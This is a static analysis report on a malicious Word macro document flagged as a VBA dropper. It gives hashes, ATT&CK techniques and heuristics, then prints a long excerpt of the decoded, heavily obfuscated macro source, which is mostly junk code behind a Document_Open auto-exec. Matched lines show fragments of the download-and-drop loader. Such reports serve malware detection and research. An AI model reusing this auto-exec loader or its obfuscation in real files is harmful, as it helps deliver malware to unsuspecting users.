Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1930fddd2a71fcae…

MALICIOUS

Office (OLE)

540.0 KB Created: 2018-10-10 23:02:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 904c5e102e6c9bdd0acd6164b3c0b40f SHA-1: 9e710cbfa1413038dded399d560d24d8b91012e3 SHA-256: 1930fddd2a71fcaeee6bacbbe096037a90ea52f3d2e81530d2acc2e7203f4744
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macro downloads a file from an HTTP URL and saves it to disk. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic suggests the macro is obfuscated and designed to execute automatically. The presence of VBA macros and the download/execute behavior strongly suggest a dropper or downloader malware.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-7534427-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7534427-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        yECfg = MlLmf.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set unBcwdRn = CreateObject(YpPSEjW)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set unBcwdRn = CreateObject(YpPSEjW)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        ZuWJcVLm = Replace(LhNcRxsgex(ZuWJcVLm), "EpjmDkzMnh", Environ(EwYwTsrRu("AxTq fle P]$lnKz_XUjYvd soOtg#eF^ [fr]# M syNgMDPXUP mrv(BRqo Diy fe $FWi  Iy]lvaK%JeEch q")))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 198649 bytes
SHA-256: 46fc6ffc41d919060815d0436937ca9e17a938e7e701b49b1fda1feacdc8f2ef
Detection
ClamAV: No threats found
Obfuscation or payload: likely
999 of 1565 identifiers look randomly generated (e.g. 'ytCUtywcTPubMFGbPrmM'); 65 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    gtmXQSlSKGLM = RTrim("  (OGI !P(@-UYe Nq  ") + UCase("Pv& s-zQ& ^W(")
    UmNrcoFfEX = LTrim("nyZN  i?Cgn   ")
    btQAxnHw = Space(8) + Left(" TVL vLC[hK uCOr", 5)
    uiDhi = RTrim("] -wV  F fG c! A") + StrReverse("-hOZ_ynjmW ?p_")
    fMSgBfanpW = Right("V c llyIW CoYM-J", 3)
            While nWtFFe < 4
                qcDjGbPLNzz = RTrim("P( d )") + UCase(")] Hf yf tRT-xTnIO")
                UJEUSUIKgosD = LTrim(" By[^Fr  f$D ys !k")
                cQIMYNpcBats = RTrim("u HNtJa%_WP _X$! ") + UCase(")!$ t ")
                nWtFFe = nWtFFe + 2
            Wend

    

    wNRFFj = LTrim("a _^Vb# q  !l")
    Dwyzusss = 90 + 68 + 15 + 17 + 52 + 81
    fMSgBfanpW = Left("f[Ej ", 4) + LTrim(" N$nw x")
    fCZHRvE "hXZusxm", "yGaEBBvZQk", "FjoZYEyXq", "MEBCZN", "AHXuEE", "JWKBguX", "GZwLCVLpfM", "NDbVlDCU", "mvAUhcyb"
    TdgInJhVE = RTrim("S%bxB Ih[E kqKne") + UCase(" Ix  m ]hn Vut  N H")
    BkrBXdCHsFp = RTrim("G YvCsla L!&% j") + UCase("MJYYTXz.# bgol(  R")
    fMSgBfanpW = Left("  A Gfl", 4) + LTrim("v% Ebw (ND_")
            While zARFMP < 2
                For AuQVsQ = 2 To 6
                    uiDhi = RTrim("EEG[Fm   Egb _") + UCase("yk  brQFRf rlE")
                    gIDoRNzEKODy = 6 - 22
                    BazYtCDHxYYx = LTrim("#L_- F hPntTp j")
                Next AuQVsQ

                gtmXQSlSKGLM = Space(17) + Left("ijEkNd", 5)
                gtmXQSlSKGLM = 7 - 27 - 92 - 40 - 16 - 2
                

                UmNrcoFfEX = UCase("g? aDf YF b") + RTrim("R LNY@  LW")
                zARFMP = zARFMP + 3
            Wend

            While fMsdaO < 5
                JJwtYLa = RTrim("rgY?xj( l") + StrReverse("oe S(C")
                BkrBXdCHsFp = RTrim("KU QM k?") + UCase("@oI)WO  I")
                TdgInJhVE = 96 - 91
                gtmXQSlSKGLM = RTrim(" aG k Gin") + UCase("DnsDR mTT ^T PFv ")
                fMsdaO = fMsdaO + 1
            Wend

    hHOplCD = Right(" yg  d(c ", 3)
            While HWcBUN < 5
                wNRFFj = Left("hZlc?", 4) + LTrim("zzw s   ]lw D")
                HSKwOcmReu = LTrim("V  V  Mi#jD .v dBpw")
                HSHlprK = Right("L# tJ y o ", 3)
                HWcBUN = HWcBUN + 3
            Wend

    YEKxvcaTbMx = Right("P]RcVGn@   cZ XL f ", 3)
    YEKxvcaTbMx = 13 - 50 - 7 - 4
    UJEUSUIKgosD = UCase("D[[T i r_ dwBSF") + RTrim("a NKd)D f  d]k")


End Sub



Attribute VB_Name = "Module1"

Function sssBip(ApSPycy As Integer) As String
    For pwIBkt = 2 To 6
        DkPQiyCWJP = RTrim("G@&BZR[N #)%B") + UCase(" j (C!H^g L")
        Dwyzusss = Left("?X-gN@E _Imk ! cW", 5) + LTrim("i]?y HT YV QnWow$A ")
        lItfyMNX = Right("J G &%BI b VK", 3)
        wNRFFj = RTrim(" yrO !  )    )$") + StrReverse(" _ hkTdgJHh  r  h")
        YEKxvcaTbMx = 15 + 92 + 17 + 39
    Next pwIBkt

    TdgInJhVE = UCase(" HZ^DM ") + RTrim("O !voLRO( te gY!  lp")
    JgWukcWnAJ = Left("iDO X[ jQ@R", 3) + LTrim("_Lh  q")
    For lBijQm = 2 To 6
        qcDjGbPLNzz = UCase("qH   Sb") + RTrim("sh D.H&HC& B Np")
        lItfyMNX = Space(14) + Left("?by)OdQld BI ", 4)
        

    Next lBijQm

    mdhfpzDyzMJ = RTrim(" X TQmhmrh") + StrReverse(" WyarJWQ")
    gIDoRNzEKODy = RTrim("rb^OC! a K") + StrReverse("MUMaq]P UZ T d ")
    FGmTuSPVOEt = Left("@ -Rgf Q G@nSVqnPT$m", 5) + LTrim("%u@% SAv")
    While WOXzcD < 3
        While vaRLDh < 4
            FGmTuSPVOEt = 53 + 16 + 52 + 47
            YEKxvcaTbMx = RTrim("dj nn ") + StrReverse("oTId&  #")
            Dwyzusss = Space(15) + Left("@ %t TW %eZLfWMET", 4)
            RYWIAReVgF = Space(10) + Left("_dnW!c  cS&.W q", 5)
            UmNrcoFfEX = RTrim("EDw] fb&)c  ] WLMe  ") + StrReverse("fO  P J?ST  V  m")
            vaRLDh = vaRLDh + 2
        Wend

        BkrBXdCHsFp = Space(3) + Left("EiHwi JL", 4)
        YEKxvcaTbMx = RTrim("  #HOVc") + UCase("gdvG-!L  a ")
        lItfyMNX = Right("!HPe NR", 5)
        WOXzcD = WOXzcD + 1
    Wend

    cQIMYNpcBats = Space(4) + Left("_A GnO(uEM - ", 5)
    For iCnBNU = 2 To 3
        While hefGkL < 4
            

            btQAxnHw = Left("$cM_  mvfxQ A", 2) + LTrim("t[i@j   msblGK.zDf ")
            YEKxvcaTbMx = Right("Mr  AGBgF q NLKp J]", 3)
            btQAxnHw = Space(11) + Left("yoE^s% Q$h", 4)
            hefGkL = hefGkL + 2
        Wend

        

        Axmvf = Left("BnE  ", 2) + LTrim(" n@S og$ @)Cj-")
        YEKxvcaTbMx = LTrim("t ^ D")
    Next iCnBNU

    BkrBXdCHsFp = Right("LAr Tm", 2)
    UmNrcoFfEX = RTrim("FaQ  (DKx?bS ") + StrReverse("A]o  &V_h)  o?_[cd")
    BkrBXdCHsFp = Space(8) + Left("cIMosZv#dlI", 3)
    While Ppnrlb < 3
        For KZBtqu = 2 To 10
            HSHlprK = UCase("FC .! ") + RTrim("zTRF@S G_ ")
            mdhfpzDyzMJ = RTrim("  ]w@ B    Ki ") + UCase(" .& Ed[_ Y?bSx )Te ")
            gtmXQSlSKGLM = Left("Z bP BES  w w  R", 4) + LTrim(" IZnz")
            qEPiwsrBzceS = LTrim("tTY  %  GZ][l")
        Next KZBtqu

        MSwEd = Space(5) + Left("zL tdov M", 2)
        JJwtYLa = RTrim("wnc u Y]RK%pF") + UCase("TN jycj a$z Y R  # ")
        TdgInJhVE = RTrim(" !bwY.xfu-") + UCase("miHC^Q   x ")
        Dwyzusss = RTrim("N(Pju  n    Nb(XF-") + StrReverse("  Ged ZLQ#W DrO_!a ")
        mdhfpzDyzMJ = 5 + 18 + 40 + 51 + 19 + 25
        Ppnrlb = Ppnrlb + 3
    Wend

    JgWukcWnAJ = Right("   YnnQ?", 4)
    YEKxvcaTbMx = UCase(" z[p@_ wK  MaLHz kO") + RTrim("gB M  _te.mJ R")
    TdgInJhVE = Right(" aPzQy  ( MzRh[", 2)
    HSKwOcmReu = UCase("g^  hl bMp&") + RTrim("v  fE .rXc^UP.KonQc")
    MSwEd = RTrim(" vt(  Vf  .(") + StrReverse("dL]O- HKV")
    lItfyMNX = 92 - 72 - 74 - 80 - 99 - 91
    sssBip = "efxLvuGTuessPEHHCgED"
End Function



Function NvkwiX(RfiyQZ As Boolean) As String
    BkrBXdCHsFp = LTrim("[&$K@roQW")
    Dwyzusss = UCase("  Y  %. EIV") + RTrim("zJYfMnR%])AvH[ki")
    hHOplCD = Left("Lu tR  G. OSd^", 2) + LTrim("OqoUbAS kq]DIJ u ")
    Dwyzusss = Left("dEu U$.&j   QE", 3) + LTrim("NaSD( (pbW")
    fMSgBfanpW = Left("@l p.er#", 4) + LTrim(" yN$ u")
    MSwEd = Left(" Nb SB$ GqDppU]jlT ", 4) + LTrim(" nHE#  b")
    asQQKhGsaYe = Space(20) + Left("F-c kO", 3)
    JgWukcWnAJ = 8 - 97 - 80 - 51 - 85 - 77
    qEPiwsrBzceS = Left("CT ( U s  TGg  o^", 5) + LTrim("- @D q")
    MSwEd = Right(" !VN#KI C.p C#[ Al", 3)
    UmNrcoFfEX = 69 - 70 - 73 - 92
    gtmXQSlSKGLM = 47 + 4 + 74 + 75
    HSHlprK = RTrim("q   ? ") + UCase(" suZZ ")
    YEKxvcaTbMx = 68 + 92 + 57 + 35
    qcDjGbPLNzz = 55 - 86
    JJwtYLa = 38 + 51
    BazYtCDHxYYx = Left("]Q]  ", 4) + LTrim(" C  L")
    GBfepGZ = Right("i_Re $ ", 2)
    HSKwOcmReu = Right("^m  u", 5)
    For fxxduk = 2 To 3
        For oedFhG = 2 To 9
            BazYtCDHxYYx = UCase("lS? k ") + RTrim("s $ L  y@KBaOuj")
            DkPQiyCWJP = RTrim(")@o &Vb") + StrReverse(" kJHRX")
            Axmvf = 39 + 17 + 55 + 22 + 65
        Next oedFhG

        asQQKhGsaYe = Right("r %aU", 4)
        Dwyzusss = RTrim(" q y#") + StrReverse("_% Vyw T lb  CrVCv")
        RYWIAReVgF = RTrim("  S] wky g ") + UCase("qEd[J@ogHThf#?^@Q ?")
        HSHlprK = Space(19) + Left("tKz. (Wy&v H)y@ X", 5)
    Next fxxduk

    NvkwiX = "neBTBhsNppppDnVIUICX"
End Function



Sub tVTKbv(NrQlHn As Integer, UrOGRu As Integer)
    gIDoRNzEKODy = LTrim("r)g dA ")
    For DfahQq = 2 To 6
        HSKwOcmReu = 72 - 71 - 89 - 89 - 32 - 66
        TdgInJhVE = UCase("B zu&R_sNz   tT r ") + RTrim("VPzgfs ki O")
        wNRFFj = 35 + 46 + 10
        btQAxnHw = 80 + 80
        Dwyzusss = Left("(V) QuH]N$_o LF", 2) + LTrim("^s dDtF M(V gaU TDK.")
    Next DfahQq

    FGmTuSPVOEt = Right("y  fcFd xNaS k f", 2)
    GBfepGZ = UCase("NUv Ql&oPO ltc tHX ") + RTrim(")l H QhCTa^")
    Dwyzusss = LTrim("  (R  u   P    _ %Ht")
    FGmTuSPVOEt = RTrim("r(OL@FO") + UCase("   $ w^  B_h(")
    UmNrcoFfEX = Right("k!alk", 4)
    TdgInJhVE = LTrim("jkb RK# J   O")
    JgWukcWnAJ = UCase("@fx$]T GAX y^") + RTrim("] g?d")
    FGmTuSPVOEt = 13 - 94
    UmNrcoFfEX = 29 + 69
    btQAxnHw = UCase("UO X p u") + RTrim("!tctyK D   @Kc")
    JgWukcWnAJ = 20 + 67 + 28 + 69 + 37
    JjRtxlUycbbX = 39 + 45 + 74 + 1 + 11 + 98
    MSwEd = UCase("#ff?   ? p TS?r-") + RTrim("L^$fO  q@hAj] c ")
    wNRFFj = Left(" UMyj C p   XSCW", 5) + LTrim(" E$# -D^) Q..!hChv")
End Sub


Function xSIDqu(LjQEsA As String, fixVqqH As String) As String
    cQIMYNpcBats = 40 + 44 + 10 + 38 + 56 + 75
    JgWukcWnAJ = 14 + 45 + 62 + 8 + 43
    HSKwOcmReu = 1 + 46
    qcDjGbPLNzz = 49 - 62 - 10 - 69
    MSwEd = Left("^(xQxCy", 2) + LTrim(" em o zsN  ")
    lItfyMNX = UCase("VoB  MXc") + RTrim("ge?r RLHs")
    btQAxnHw = RTrim(" k   aU_") + StrReverse("[e qdEO_M& P ")
    MSwEd = 60 + 95 + 66 + 63 + 95
    UmNrcoFfEX = 31 + 38 + 24 + 67 + 34
    

    mdhfpzDyzMJ = Space(12) + Left(" !gR) S%jJ !R", 4)
    btQAxnHw = Left(" Qz ( juA$Rbz Q", 4) + LTrim(" zu_hg  $Zm voFl  k")
    qcDjGbPLNzz = LTrim("O l zW bm J g^")
    hHOplCD = LTrim("_d!tb")
    gtmXQSlSKGLM = Left("  zcvSF$jtNicWZB", 3) + LTrim(" R zr?U LTC) m&? ")
    YEKxvcaTbMx = LTrim("tK%n%% JhIO]")
    xSIDqu = "cwwTTptzEQMNDRDv"
End Function



Attribute VB_Name = "Module2"

Function SWwchM(eKRReG As String, CKHQoz As Integer) As String
    gtmXQSlSKGLM = UCase("ykf? $Z&FTii)T?") + RTrim("LAy # Jb]h")
    BazYtCDHxYYx = 71 - 53 - 88 - 67 - 12
    Dwyzusss = UCase("efV   BT. U I]uw") + RTrim(")    yYP% b")
    hHOplCD = 10 + 73 + 49 + 2 + 48 + 90
    HSHlprK = RTrim("DDur ") + StrReverse("v)Li)A_qrDfk")
    While PxFEpW < 3
        For dRermD = 2 To 7
            hHOplCD = Space(19) + Left("Z G#jR k]%FakU ", 3)
            DkPQiyCWJP = RTrim(" aRW gcPClpZG") + StrReverse("   &v!er-B")
            uiDhi = LTrim("O  ?gmU ab vA)z TP")
            qEPiwsrBzceS = 48 + 30 + 79 + 95
            JJwtYLa = RTrim(" Et   p_-n$$GzG^!j- ") + UCase("vA(lfpSI % Y. qQ")
        Next dRermD

        GBfepGZ = Space(14) + Left("caeBW eT@RcTjY  s-", 3)
        wNRFFj = RTrim(" BC BafO ") + UCase("I(rHV) Q rBi(P")
        BazYtCDHxYYx = Space(8) + Left("Qz) ]", 2)
        HSKwOcmReu = UCase("Y lT#") + RTrim("t .v_PYLDB.Vr]x V")
        UJEUSUIKgosD = Left("   qas", 3) + LTrim("inWiZIWqJW")
        PxFEpW = PxFEpW + 1
    Wend

    uiDhi = Space(16) + Left("a&wTppaV)CWFt", 4)
    RYWIAReVgF = Right("A!#^Y?Ik] mAL!ZsS @ ", 3)
    wNRFFj = UCase("Y$n  lBqjcSb") + RTrim("O    o L b#bGnq kZ")
    JJwtYLa = LTrim("kF? qle[O  S k T  aA")
    HSKwOcmReu = Right("jl  V ", 4)
    MSwEd = Left("ZD[gZQ  yyT  L!", 2) + LTrim("[  exFb BjZe  ")
    Dwyzusss = 84 - 65 - 89 - 85
    For bRtuZu = 2 To 3
        For BQYUDz = 2 To 10
            

            wNRFFj = UCase("X]  zi-f(Z$(") + RTrim(".)dfB #(( oG !m !")
            JJwtYLa = 39 + 37 + 75 + 7
            Dwyzusss = RTrim("XufkI.  ] b v") + UCase("X#pJ ")
        Next BQYUDz

        HSKwOcmReu = 10 + 40 + 2 + 4 + 97
        qcDjGbPLNzz = LTrim("OK] .yG? H&h- L- _")
        asQQKhGsaYe = Space(2) + Left("eJXnJv", 4)
    Next bRtuZu

    uiDhi = RTrim("u?HS -gLjAJ  JK  E!k") + UCase(" e# s ^W rW")
    lItfyMNX = Left(" #Jx ? ", 5) + LTrim(" pLS (   h #jJtog")
    SWwchM = "TJHnLEulwcirQgAU"
End Function



Function qMVlwm(rfIPzf As Boolean, BAGegm As String) As String
    MSwEd = RTrim("# GX bA &a ?B^&G(ta") + UCase(" WgGR c")
    Axmvf = 11 - 27
    While HRThXo < 5
        MSwEd = LTrim("WLHMA   Ow?o ")
        lItfyMNX = RTrim(" mACw kI U? ") + UCase("G?v not ")
        JgWukcWnAJ = Right("oyD G )", 4)
        JgWukcWnAJ = 88 - 27 - 88 - 76 - 67 - 51
        HRThXo = HRThXo + 2
    Wend

    Axmvf = 92 - 77 - 14 - 17 - 91 - 82
    BazYtCDHxYYx = RTrim("C sp  Zi N L  f@F") + UCase("s n& YZ^ ^?L_(")
    BkrBXdCHsFp = Right("(Cdw  LDf cWxtO [ ", 2)
    lItfyMNX = LTrim("p ?MF p hr   tZ&( g")
    gtmXQSlSKGLM = LTrim("c  &?")
    While OKIeOt < 3
        hHOplCD = RTrim("A QY @%  qx  W ") + StrReverse("DX% d   @y  J__O % ")
        

        UJEUSUIKgosD = 17 + 6 + 87
        OKIeOt = OKIeOt + 1
    Wend

    

    FGmTuSPVOEt = RTrim("!r ub j") + UCase("Wf^(XH]qahT tOO]JHP")
    asQQKhGsaYe = Space(8) + Left("]z[  lVQ -Zm  ", 5)
    TdgInJhVE = Right("vUrizS X ", 3)
    btQAxnHw = Left("Jpa-F- ", 5) + LTrim("x#pNtq?M HR%L?xw_")
    wNRFFj = 88 - 23 - 47 - 9 - 41 - 63
    btQAxnHw = RTrim("C )[&fBG bV &") + UCase("_QeL iAg  !Y#%H al")
    qMVlwm = "dLySCEPJqxXIxuzI"
End Function



Sub weMGhs(oovppXi As Boolean, fmFytw As Integer)
    For unSofZ = 2 To 8
        wNRFFj = RTrim("eaP cLOY aYiq") + UCase(" pYIHG")
        hHOplCD = Right("z GWq", 3)
        fMSgBfanpW = RTrim("[^n v C  tqKmPf% ") + StrReverse("io&@weBaC ]FYEcz  Na")
        BazYtCDHxYYx = Left("dvhs^J kI ", 5) + LTrim("G tfYrv !o ")
    Next unSofZ

    GBfepGZ = LTrim("dtg UH?](u")
    wNRFFj = 76 + 23 + 49
    gIDoRNzEKODy = 97 - 63 - 0 - 13 - 25
    mdhfpzDyzMJ = Left("R$U]r p@G.Xum i-", 3) + LTrim("E y cGYN  z")
    While YzbICL < 3
        btQAxnHw = RTrim("Y Vehw Rp ") + StrReverse("q N Vj")
        hHOplCD = 92 - 23 - 97
        mdhfpzDyzMJ = RTrim("   ?_yoGhC") + StrReverse("ja E  nxpq Z^ ")
        GBfepGZ = Right("FBmg. Lx [ ) ", 4)
        YzbICL = YzbICL + 2
    Wend

    Dwyzusss = RTrim("G[VpZ&  $Gj") + StrReverse(" ZC  IF!  Nsc")
    YEKxvcaTbMx = Right("S%)v p lB   IiOkGkTA", 3)
    JgWukcWnAJ = UCase("  uIGMl  U") + RTrim(" nd  b")
    

    HSHlprK = 17 + 25 + 48 + 56 + 57
    While hwiJRn < 4
        While yuSskF < 1
            gtmXQSlSKGLM = LTrim(" u^) A DPe")
            gIDoRNzEKODy = LTrim("YV q  Fx#[x")
            cQIMYNpcBats = 86 - 43 - 17 - 23
            yuSskF = yuSskF + 2
        Wend

        DkPQiyCWJP = LTrim("j EdI^yJxN")
        

        TdgInJhVE = Right("F.)He  Pr", 4)
        cQIMYNpcBats = Space(8) + Left("f-uZ  w o (D&", 3)
        hwiJRn = hwiJRn + 3
    Wend

    fMSgBfanpW = UCase(" JS  y#xMGGrDu  Z%") + RTrim("! RET ")
    UmNrcoFfEX = 55 - 52 - 39 - 67
    BazYtCDHxYYx = 1 + 6 + 91 + 34 + 25
    GBfepGZ = Space(20) + Left("$(KFx  x  ", 5)
    

    gtmXQSlSKGLM = 89 - 34 - 33 - 6
    HSKwOcmReu = 97 - 65 - 15 - 17
    JJwtYLa = RTrim("eSR?a") + UCase("C#SeC N #yoeMmjKj ")
End Sub



Function zqggmA(OaRKcod As String, onHYbm As String, jHOAOt As Boolean) As String
    HSHlprK = 13 + 38
    wNRFFj = Space(3) + Left("  -Vga V_OFV .)", 3)
    fMSgBfanpW = 93 + 41 + 57 + 11 + 73
    

    asQQKhGsaYe = 92 + 77 + 10 + 66
    Axmvf = 8 + 47 + 76 + 41 + 8 + 87
    mdhfpzDyzMJ = UCase(" % IC") + RTrim("  [L p   cX")
    RYWIAReVgF = LTrim("ZAFTM")
    

    qEPiwsrBzceS = 99 + 76 + 61
    For cRXTnp = 2 To 7
        HSHlprK = 41 + 53 + 49 + 23
        wNRFFj = Space(16) + Left(" d- Z)", 4)
        

        gIDoRNzEKODy = Left("iNd]BBOO uP sUe", 4) + LTrim("q]Y hSGy z@LTzYk")
    Next cRXTnp

    JgWukcWnAJ = Right("eoiA IVsc .", 5)
    fMSgBfanpW = Space(18) + Left("qB?ku&  l  A", 5)
    Axmvf = Space(11) + Left(" . Y@z (m", 5)
    

    gIDoRNzEKODy = Left("N   XSU# lmmX ", 3) + LTrim("H jRI)  bp")
    fMSgBfanpW = Left(" #tUW", 4) + LTrim("YIwQXhxe  ")
    zqggmA = "xnEZFzGMHXVrndcZD"
End Function



Attribute VB_Name = "Module3"

Function dZqlFZ(CrKymgK As Boolean, xRPHbin As Boolean, ceXasH As Boolean, wQelXhA As Double, CFObDUK As Double) As String
    UmNrcoFfEX = UCase("oz   (%NP") + RTrim("g  $ f  !i")
    fMSgBfanpW = 47 + 65
    lItfyMNX = Left("a JEc&]&LdSM!cwdl% ", 5) + LTrim("!x DLKpyUS ")
    qcDjGbPLNzz = Right("rdVZ# Qo% # #Rq", 2)
    GBfepGZ = LTrim(" I@otup YugXjydWnT")
    UmNrcoFfEX = 44 - 22 - 93 - 78 - 82
    HSKwOcmReu = 34 - 36 - 52 - 13
    qEPiwsrBzceS = 94 + 54 + 62 + 40 + 95
    Dwyzusss = RTrim("  $xEttjtZkxC") + UCase("J[  #D-_")
    gtmXQSlSKGLM = LTrim("w.^m)D.H   . QJE ")
    HSHlprK = Right(" zix  )^", 2)
    

    BazYtCDHxYYx = RTrim("Q ] ?CNf$ AN") + StrReverse("@n c@ b b hCmOR")
    qcDjGbPLNzz = RTrim("hUO  Jd %ZfGk@F") + StrReverse("l(Dh Ym  zav")
    For wiSjVl = 2 To 9
        btQAxnHw = RTrim("f@ ZhtB[WwZ") + UCase(" yHyaHo .kP")
        JgWukcWnAJ = Space(15) + Left(" $$ #  ! jUapfvDcLS&", 3)
        asQQKhGsaYe = RTrim("NE dU  CEt") + StrReverse(" -h  ^^]ZtE!.y-pWp")
        JjRtxlUycbbX = 36 + 59 + 29
    Next wiSjVl

    qEPiwsrBzceS = RTrim(" dB  &n") + UCase("k) & zf-i")
    RYWIAReVgF = Right("_edAuL X UHD& ", 2)
    dZqlFZ = "qNNwRGKcDAPIOZQRA"
End Function



Sub vCmyRZ(YMHDrP As Boolean)
    fMSgBfanpW = Left(" Ztt W? zkB!Ax)", 3) + LTrim("$  VA -j ")
    

    qcDjGbPLNzz = 26 + 58 + 8 + 18 + 97
    While tBhvWx < 4
        While ZErcDG < 3
            JJwtYLa = 79 + 9
            DkPQiyCWJP = Space(10) + Left("x%q   ", 4)
            

            ZErcDG = ZErcDG + 1
        Wend

        hHOplCD = Space(11) + Left("fvDG Aa  TO", 4)
        Axmvf = 14 + 80 + 31
        YEKxvcaTbMx = UCase(" GZ^h jM cCB-]") + RTrim("tGs& &D i oi")
        Axmvf = Right("NEeP[&Le F I AnUM", 2)
        BkrBXdCHsFp = LTrim("Emg# g z_[Ag ")
        tBhvWx = tBhvWx + 3
    Wend

    HSHlprK = 29 + 8 + 55
    Dwyzusss = Right("d-p kc", 3)
    TdgInJhVE = Right("y ?J b)  )oa", 5)
    qcDjGbPLNzz = RTrim(" @ ) s R@_dM  T Vy$H") + StrReverse("J[  &EA a")
    mdhfpzDyzMJ = UCase("u  bTR kfVw  Gmetr  ") + RTrim("&?CIFjDd ")
    Axmvf = UCase("a.H@N @KGXfRJ") + RTrim("- c(GOT?Gn ")
    BkrBXdCHsFp = UCase(")x v OG? I BH !n VD") + RTrim("@QEqrikorSx^L  tf#]")
    GBfepGZ = UCase("_ LNQ OD YHTGY-IF#[k") + RTrim("-PyoOr")
    JjRtxlUycbbX = Left(" oP?f-O-IV[ Yttb  T", 5) + LTrim("LshuF")
    DkPQiyCWJP = UCase("Q) GCz hRmV ") + RTrim("Nm RmS]  [ ")
    qEPiwsrBzceS = RTrim("SKazrwy Z(uA s ") + UCase(" w Bi F")
    Dwyzusss = UCase("ZmAMYG y  ) ") + RTrim(".    !k")
    

    BazYtCDHxYYx = RTrim("  TGSXyT  ??rx") + UCase("HkMaTA@v ")
    YEKxvcaTbMx = RTrim("J  t C&cqv&  B.a  [m") + UCase("eW n ^ ukaEJKeTj ")
    cQIMYNpcBats = RTrim("@@F  iiu m&s Z[DN") + UCase(" Q uxC")
End Sub



Sub tKsJqZ(VxupaU As Integer, zUoVaaF As String, xXkztMB As Integer, mEmSAG As Integer, qzbCte As Boolean)
    qcDjGbPLNzz = 72 + 93 + 12 + 30
    

    FGmTuSPVOEt = Right("   IbHU)l@", 4)
    TdgInJhVE = Left(" LG   ", 2) + LTrim(" #Dj  b")
    For HtZlKi = 2 To 5
        While tDeufs < 4
            JJwtYLa = RTrim("  P s )@-") + StrReverse("CD [Wns $ ")
            YEKxvcaTbMx = RTrim(" RI Z)_ %   Pz") + UCase("EDCu vBio&")
            fMSgBfanpW = 23 - 75 - 16 - 60
            BkrBXdCHsFp = Right("sJ!W[yP  pgm ", 2)
            tDeufs = tDeufs + 3
        Wend

        gtmXQSlSKGLM = Left("yoFdvtke", 2) + LTrim("(  )MWl-_ lgi")
        asQQKhGsaYe = UCase("p @!i bQveme#_ ") + RTrim(" JL (@axhY B @F#e")
        asQQKhGsaYe = RTrim("A[vO exsY ") + UCase("&( f h UWBV")
    Next HtZlKi

    lItfyMNX = RTrim("Y Wn $ li oB") + UCase("V%a-&U] lDm [Nb &r")
    JgWukcWnAJ = 37 - 43 - 48 - 35
    BkrBXdCHsFp = 77 - 23 - 4 - 93 - 67 - 61
    cQIMYNpcBats = LTrim("  h qeQ j?ZJe( ")
    DkPQiyCWJP = RTrim(" Nvu#Hj%#p ") + UCase("G$w^ kojXnq I- U")
    

    JJwtYLa = LTrim("!@EVLoOb&")
    

    asQQKhGsaYe = Left("#m k X# C W mVBL", 4) + LTrim("a KK Nys(i   ")
    qEPiwsrBzceS = Left("  yBj", 3) + LTrim(" b_L]Z# f(g J^w")
    Dwyzusss = LTrim("#e d cz?JHL")
    BazYtCDHxYYx = Space(12) + Left("  ]]vS-)KCE^[B^   ", 5)
End Sub



Attribute VB_Name = "Module4"

Sub fCZHRvE(HyU As String, DYl As String, jKeFJ As String, Gp As String, Va As String, PVHB As String, pD As String, ubsou As String, SN As String)
    JgWukcWnAJ = UCase("R# D[ Cl!trFI") + RTrim(" . &EJs$(SR")
    MSwEd = RTrim("HOVc H T  ") + UCase(" dW%&X")
    asQQKhGsaYe = Right("a IN duS ecOH", 3)
    

    DkPQiyCWJP = 89 - 58 - 59 - 62 - 60 - 35
    For FSPltI = 2 To 4
        For JNRvpY = 2 To 9
            GBfepGZ = RTrim("TGp  cnoZY XyIy L^cQ") + UCase("xt.UbEo!")
            MSwEd = UCase("vw) aJ[ E Vn ") + RTrim("z^  qNax ")
            JjRtxlUycbbX = 4 + 46 + 91 + 40
            uiDhi = UCase("h ny q N W!M") + RTrim("TbizrYx ")
        Next JNRvpY

        uiDhi = RTrim("- aUw)KA_ a%ONkau") + StrReverse("!zlC  t  FQ")
        HSKwOcmReu = 75 + 38 + 4
